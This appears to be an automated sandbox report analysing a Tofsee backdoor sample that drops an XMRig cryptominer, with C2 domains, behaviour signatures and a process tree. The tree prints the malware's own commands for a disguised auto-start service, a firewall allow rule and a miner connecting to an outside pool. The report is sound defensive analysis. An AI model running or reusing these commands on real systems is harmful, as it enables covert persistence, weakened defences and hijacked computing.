Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2023, 03:05

General

  • Target
    file.exe
  • Size 300KB
  • Sample230107-dk6ysacf27
  • SHA256 7455cd271937cebf16710f560dbcd134eda2bb8bc8366063e6cf8fabb3cffebf
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nuuxhjtg\
      2⤵
        PID:2276
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gaqhkilu.exe" C:\Windows\SysWOW64\nuuxhjtg\
        2⤵
          PID:1840
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nuuxhjtg binPath= "C:\Windows\SysWOW64\nuuxhjtg\gaqhkilu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4120
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nuuxhjtg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1356
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nuuxhjtg
          2⤵
          • Launches sc.exe
          PID:1888
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3344
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1788 -s 888
          2⤵
          • Program crash
          PID:4644
      • C:\Windows\SysWOW64\nuuxhjtg\gaqhkilu.exe
        C:\Windows\SysWOW64\nuuxhjtg\gaqhkilu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4272
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2216
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4280
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 528
          2⤵
          • Program crash
          PID:1492
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1788 -ip 1788
        1⤵
          PID:1524
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4272 -ip 4272
          1⤵
            PID:4980

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                gaqhkilu.exe

                • Path C:\Users\Admin\AppData\Local\Temp\gaqhkilu.exe
                • Size 13.8MB
                • SHA256 0883d891b928e3a6709d119ed41a6674ebaa4faf9e0ebedae19c7a1c6b8cf09b
                • MD5 SHA1 SHA512 SSDEEP

                gaqhkilu.exe

                • Path C:\Windows\SysWOW64\nuuxhjtg\gaqhkilu.exe
                • Size 13.8MB
                • SHA256 0883d891b928e3a6709d119ed41a6674ebaa4faf9e0ebedae19c7a1c6b8cf09b
                • MD5 SHA1 SHA512 SSDEEP

                memory/1788-133-0x0000000002DC0000-0x0000000002DD3000-memory.dmp

                memory/1788-132-0x0000000002CDD000-0x0000000002CF3000-memory.dmp

                memory/1788-135-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/1788-143-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/2216-159-0x0000000002520000-0x0000000002530000-memory.dmp

                memory/2216-162-0x00000000025F0000-0x00000000025F5000-memory.dmp

                memory/2216-168-0x00000000033D0000-0x00000000033D7000-memory.dmp

                memory/2216-145-0x0000000000FA0000-0x0000000000FB5000-memory.dmp

                memory/2216-165-0x0000000007D40000-0x000000000814B000-memory.dmp

                memory/2216-156-0x0000000002510000-0x0000000002516000-memory.dmp

                memory/2216-150-0x0000000000FA0000-0x0000000000FB5000-memory.dmp

                memory/2216-153-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/2216-152-0x0000000000FA0000-0x0000000000FB5000-memory.dmp

                memory/4272-151-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/4272-149-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/4272-147-0x0000000002EA9000-0x0000000002EBE000-memory.dmp

                memory/4280-172-0x0000000000400000-0x00000000004F1000-memory.dmp

                memory/4280-177-0x0000000000400000-0x00000000004F1000-memory.dmp